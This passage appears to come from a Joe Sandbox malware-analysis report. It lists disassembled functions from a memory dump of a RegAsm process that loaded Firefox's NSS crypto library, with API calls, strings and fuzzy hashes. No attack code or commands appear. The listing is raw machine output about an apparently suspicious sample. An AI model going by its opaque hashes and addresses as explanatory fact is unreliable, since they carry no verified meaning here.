Part of subcall function 6C3D4210: PL_strncasecmp.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C3B7703), ref: 6C3D424B
Part of subcall function 6C3D4210: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C3B7703,?,00000000), ref: 6C3D4272

NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C3B6957
NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C3B6972
NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C3B6983

Part of subcall function 6C3D3EA0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(8914C483,70E85609,6C3AC79F,?,6C3B6247,70E85609,?,?,6C3AC79F,6C3B781D,?,6C3ABD52,00000001,70E85609,D85D8B04,?), ref: 6C3D3EB8

PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C3B69AA
PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C3B69BE
PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C3B69D2
NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C3B69DF

Part of subcall function 6C3D4020: isspace.API-MS-WIN-CRT-STRING-L1-1-0(FFFFEF69,00000000,?,?,766B4C80,?,6C3D50B7,?), ref: 6C3D4041

free.MOZGLUE(00000000), ref: 6C3B69F6
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6C3B6A04
free.MOZGLUE(00000000), ref: 6C3B6A1B
NSSUTIL_ArgFetchValue.NSS3(-0000000B,?), ref: 6C3B6A29
free.MOZGLUE(00000000), ref: 6C3B6A3F
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6C3B6A4D
NSSUTIL_ArgStrip.NSS3(?), ref: 6C3B6A5B

Strings

certPrefix=, xrefs: 6C3B69B8
nokeydb, xrefs: 6C3B6968
keyPrefix=, xrefs: 6C3B69CC
readOnly, xrefs: 6C3B693D
configdir=, xrefs: 6C3B69A4
nocertdb, xrefs: 6C3B6951
flags, xrefs: 6C3B6937, 6C3B6942, 6C3B6956, 6C3B696D

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: L_strncasecmpValuefree$FetchFlag$Stripisspace$ParamParameterSkipstrlen
String ID: certPrefix=$configdir=$flags$keyPrefix=$nocertdb$nokeydb$readOnly
API String ID: 2065226673-2785624044
Opcode ID: bb8b865a0a7a0835eeb14204ee5def805d28821b7a12da1d21352767da58f146
Instruction ID: 74b9622a435efd7fc8bd49b33781ff1c96a98afd3483e2f9ca16dd1aee036e6b
Opcode Fuzzy Hash: bb8b865a0a7a0835eeb14204ee5def805d28821b7a12da1d21352767da58f146
Instruction Fuzzy Hash: 6D4147F2A402056BEB00DB65AC81F5B77BC9F6524CF150424ED49E6B42F736DA188BA2

Function 6C3B6CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3B6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C3B6943
Part of subcall function 6C3B6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C3B6957
Part of subcall function 6C3B6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C3B6972
Part of subcall function 6C3B6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C3B6983
Part of subcall function 6C3B6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C3B69AA
Part of subcall function 6C3B6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C3B69BE
Part of subcall function 6C3B6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C3B69D2
Part of subcall function 6C3B6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C3B69DF
Part of subcall function 6C3B6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C3B6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C3B6D8C
free.MOZGLUE(00000000), ref: 6C3B6DC5
free.MOZGLUE(?), ref: 6C3B6DD6
free.MOZGLUE(?), ref: 6C3B6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C3B6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C3B6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C3B6E72
free.MOZGLUE(?), ref: 6C3B6EA7
free.MOZGLUE(?), ref: 6C3B6EC4
free.MOZGLUE(?), ref: 6C3B6ED5
free.MOZGLUE(00000000), ref: 6C3B6EE3
free.MOZGLUE(?), ref: 6C3B6EF4
free.MOZGLUE(?), ref: 6C3B6F08
free.MOZGLUE(00000000), ref: 6C3B6F35
free.MOZGLUE(?), ref: 6C3B6F44
free.MOZGLUE(?), ref: 6C3B6F5B
free.MOZGLUE(00000000), ref: 6C3B6F65

Part of subcall function 6C3B6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C3B781D,00000000,6C3ABE2C,?,6C3B6B1D,?,?,?,?,00000000,00000000,6C3B781D), ref: 6C3B6C40
Part of subcall function 6C3B6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C3B781D,?,6C3ABE2C,?), ref: 6C3B6C58
Part of subcall function 6C3B6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C3B781D), ref: 6C3B6C6F
Part of subcall function 6C3B6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C3B6C84
Part of subcall function 6C3B6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C3B6C96
Part of subcall function 6C3B6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C3B6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C3B6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C3B6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C3B6FF4

Strings

+`<l, xrefs: 6C3B6D0D

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`<l
API String ID: 1304971872-693594255
Opcode ID: 4428f63730288260f7d60462347b36d7fabdfc046245676f3690f2e8710aed5e
Instruction ID: 9020bec64db0ba2fce9b920d0e94383209f02814fccb351ca639d9b0a68a5f35
Opcode Fuzzy Hash: 4428f63730288260f7d60462347b36d7fabdfc046245676f3690f2e8710aed5e
Instruction Fuzzy Hash: 3DB16FB1E012199FDF04DBA5D985B9EBBB8AF15348F140028E815F7E42E732E915CFA1

Function 6C3A89B0 Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 149COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GenerateKey), ref: 6C3A89D6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3A8A04
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3A8A13

Part of subcall function 6C48D930: PL_strncpyz.NSS3(?,?,?), ref: 6C48D963

PR_LogPrint.NSS3(?,00000000), ref: 6C3A8A29
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C3A8A4B
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C3A8A67
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C3A8A83
PR_LogPrint.NSS3( phKey = 0x%p,?), ref: 6C3A8AA1
PL_strncpyz.NSS3(?, *phKey = 0x%x,00000050), ref: 6C3A8B43
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3A8B52
PR_LogPrint.NSS3(?,00000000), ref: 6C3A8B68

Strings

ulCount = %d, xrefs: 6C3A8A7E
phKey = 0x%p, xrefs: 6C3A8A9C
nHl, xrefs: 6C3A8AD0, 6C3A8B0B
*phKey = 0x%x, xrefs: 6C3A8B2D, 6C3A8B3D
(CK_INVALID_HANDLE), xrefs: 6C3A8A0C, 6C3A8B4B
pTemplate = 0x%p, xrefs: 6C3A8A62
pMechanism = 0x%p, xrefs: 6C3A8A46
C_GenerateKey, xrefs: 6C3A89D1
hSession = 0x%x, xrefs: 6C3A89EE, 6C3A89FE

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *phKey = 0x%x$ hSession = 0x%x$ pMechanism = 0x%p$ pTemplate = 0x%p$ phKey = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GenerateKey$nHl
API String ID: 1003633598-2962331555
Opcode ID: 448fdd1e08bae90b735ac92d7b35cce305c2cefc339fb45d42412f3a1a0c4e9a
Instruction ID: fecdd654f6095d513bf265ca7bfe8b8c81ee7599a467fa1d84000e0ae328c46b
Opcode Fuzzy Hash: 448fdd1e08bae90b735ac92d7b35cce305c2cefc339fb45d42412f3a1a0c4e9a
Instruction Fuzzy Hash: AB517130602194ABDB10EF54DD88F9E7B75EB4630CF448069E8056BA11DB31EC2ACFA3

Function 6C3AAF20 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C3AAF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3AAF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3AAF83

Part of subcall function 6C48D930: PL_strncpyz.NSS3(?,?,?), ref: 6C48D963

PR_LogPrint.NSS3(?,00000000), ref: 6C3AAF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C3AAFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C3AAFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C3AAFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C3AB00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C3AB028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C3AB041

Strings

nHl, xrefs: 6C3AB059, 6C3AB093
(CK_INVALID_HANDLE), xrefs: 6C3AAF7C
pParameter = 0x%p, xrefs: 6C3AAFB9
C_SignMessage, xrefs: 6C3AAF41
pulSignatureLen = 0x%p, xrefs: 6C3AB03C
ulDataLen = %d, xrefs: 6C3AB00A
hSession = 0x%x, xrefs: 6C3AAF5E, 6C3AAF6E
ulParameterLen = 0x%p, xrefs: 6C3AAFD4
pSignature = 0x%p, xrefs: 6C3AB023
pData = 0x%p, xrefs: 6C3AAFEF

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage$nHl
API String ID: 1003633598-328922201
Opcode ID: db19b2d832f12cf65e48df68465b6a78b4047595a5405f4710081503873d0a27
Instruction ID: 149c6bbd81eeeac829c74399f3a1e98f595cb1139bd3f7cb6445474c2c608241
Opcode Fuzzy Hash: db19b2d832f12cf65e48df68465b6a78b4047595a5405f4710081503873d0a27
Instruction Fuzzy Hash: 5341C535602154AFDB10FF94DD48E8D7BB1EB4631DF488069E9085BA11DB31E869CFA2

Function 6C3A08F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6C3A094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3A0953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6C3A096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6C3A0974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C3A098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C3A0995

Part of subcall function 6C3A1800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C3A1860
Part of subcall function 6C3A1800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6C3A09BF), ref: 6C3A1897
Part of subcall function 6C3A1800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C3A18AA
Part of subcall function 6C3A1800: memcpy.VCRUNTIME140(?,?,?), ref: 6C3A18C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C3A0B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C3A0B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C3A0B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6C3A0B78

Strings

base_nonce, xrefs: 6C3A0B06
info_hash, xrefs: 6C3A09E0
secret, xrefs: 6C3A0A88
key, xrefs: 6C3A0ACB
psk_id_hash, xrefs: 6C3A09B5
exp, xrefs: 6C3A0B36

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: 01791516593d36eb18655cd065cb02633086d0c987097dd982bada90244c13a3
Instruction ID: f23d284fc4ea3396e2e5a4b92a145b333de718376b78cb6ebfe662f289b081d7
Opcode Fuzzy Hash: 01791516593d36eb18655cd065cb02633086d0c987097dd982bada90244c13a3
Instruction Fuzzy Hash: FB814979604345AFC700CF95C880E9AF7E9EF8C608F048919F99997751E731EA1ACF92

Function 6C3B2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C3B2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C3B2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C3B2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C3B2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C384F1C,?,-00000001,00000000,?), ref: 6C3B2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C384F1C,?,-00000001,00000000), ref: 6C3B2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C3B2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C3B2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C3B2EF8
PR_Unlock.NSS3(?), ref: 6C3B2F62
TlsGetValue.KERNEL32 ref: 6C3B2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C3B2F9E
PR_Unlock.NSS3(?), ref: 6C3B2FCA
TlsGetValue.KERNEL32 ref: 6C3B301A
EnterCriticalSection.KERNEL32(?), ref: 6C3B302E
PR_Unlock.NSS3(?), ref: 6C3B3066
PR_SetError.NSS3(00000000,00000000), ref: 6C3B3085
PR_Unlock.NSS3(?), ref: 6C3B30EC
TlsGetValue.KERNEL32 ref: 6C3B310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C3B3124
PR_Unlock.NSS3(?), ref: 6C3B314C

Part of subcall function 6C399180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C3C379E,?,6C399568,00000000,?,6C3C379E,?,00000001,?), ref: 6C39918D
Part of subcall function 6C399180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C3C379E,?,6C399568,00000000,?,6C3C379E,?,00000001,?), ref: 6C3991A0

Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607AD
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607CD
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607D6
Part of subcall function 6C3607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C2F204A), ref: 6C3607E4
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,6C2F204A), ref: 6C360864
Part of subcall function 6C3607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C360880
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,6C2F204A), ref: 6C3608CB
Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(?,?,6C2F204A), ref: 6C3608D7
Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(?,?,6C2F204A), ref: 6C3608FB

PR_SetError.NSS3(00000000,00000000), ref: 6C3B316D

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 58ac4a7cb9fdae158578101ee7751bd97ec5575984bb629bd50ff7cca1aa42dc
Instruction ID: da8fb72fa38f69472b38c096b809167c00cc68e65c0ccc95ffd208771e31d43e
Opcode Fuzzy Hash: 58ac4a7cb9fdae158578101ee7751bd97ec5575984bb629bd50ff7cca1aa42dc
Instruction Fuzzy Hash: C1F1AFB5D002189FDF01EF64D884B99BBB8BF19318F144269EC05A7B11EB32E995CF91

Function 6C3B29A0 Relevance: 31.8, APIs: 15, Strings: 3, Instructions: 292COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,^j8l,00000001,00000000,?,6C386540,?,0000000D,00000000), ref: 6C3B2A39
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,^j8l,00000001,00000000,?,6C386540,?,0000000D,00000000), ref: 6C3B2A5B
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,^j8l,00000001,00000000,?,6C386540,?,0000000D), ref: 6C3B2A6F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,^j8l,00000001), ref: 6C3B2AAD
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,^j8l,00000001,00000000), ref: 6C3B2ACB
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,^j8l,00000001), ref: 6C3B2ADF
PR_Unlock.NSS3(?), ref: 6C3B2B38
PR_Unlock.NSS3(?), ref: 6C3B2B8B

Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607AD
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607CD
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607D6
Part of subcall function 6C3607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C2F204A), ref: 6C3607E4
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,6C2F204A), ref: 6C360864
Part of subcall function 6C3607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C360880
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,6C2F204A), ref: 6C3608CB
Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(?,?,6C2F204A), ref: 6C3608D7
Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(?,?,6C2F204A), ref: 6C3608FB

PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,^j8l,00000001,00000000,?,6C386540,?,0000000D,00000000,?), ref: 6C3B2CA2

Strings

^j8l, xrefs: 6C3B29A5
@e8l, xrefs: 6C3B2A18, 6C3B2A22
@e8l, xrefs: 6C3B29E7, 6C3B2A1D

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSectioncalloc$ErrorImportK11_Public
String ID: @e8l$@e8l$^j8l
API String ID: 2580468248-652781363
Opcode ID: 10253aeaf98b817119707cd3585463c7af49ee1c4364228a8bf0402ca46a1550
Instruction ID: d60d51054999a98b2f1e912f684f0e3a098e9d8fb85729286b9ebe71a4d8e49b
Opcode Fuzzy Hash: 10253aeaf98b817119707cd3585463c7af49ee1c4364228a8bf0402ca46a1550
Instruction Fuzzy Hash: 2AB1BF75D002059FDB11EF69D988A9AB7B4FF19308F144629E845A7E11EB32F940CFA1

Function 6C3A8820 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptVerifyUpdate), ref: 6C3A8846
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3A8874
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3A8883

Part of subcall function 6C48D930: PL_strncpyz.NSS3(?,?,?), ref: 6C48D963

PR_LogPrint.NSS3(?,00000000), ref: 6C3A8899
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6C3A88BA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6C3A88D3
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C3A88EC
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6C3A8907
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6C3A8979

Strings

nHl, xrefs: 6C3A8921, 6C3A8955
(CK_INVALID_HANDLE), xrefs: 6C3A887C
C_DecryptVerifyUpdate, xrefs: 6C3A8841
hSession = 0x%x, xrefs: 6C3A885E, 6C3A886E
*pulPartLen = 0x%x, xrefs: 6C3A8974
pEncryptedPart = 0x%p, xrefs: 6C3A88B5
ulEncryptedPartLen = %d, xrefs: 6C3A88CE
pPart = 0x%p, xrefs: 6C3A88E7
pulPartLen = 0x%p, xrefs: 6C3A8902

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptVerifyUpdate$nHl
API String ID: 1003633598-631861606
Opcode ID: 27d1d36efcfc255362a3b2205db09029a1612530da4f041d73de09e4dbc4c072
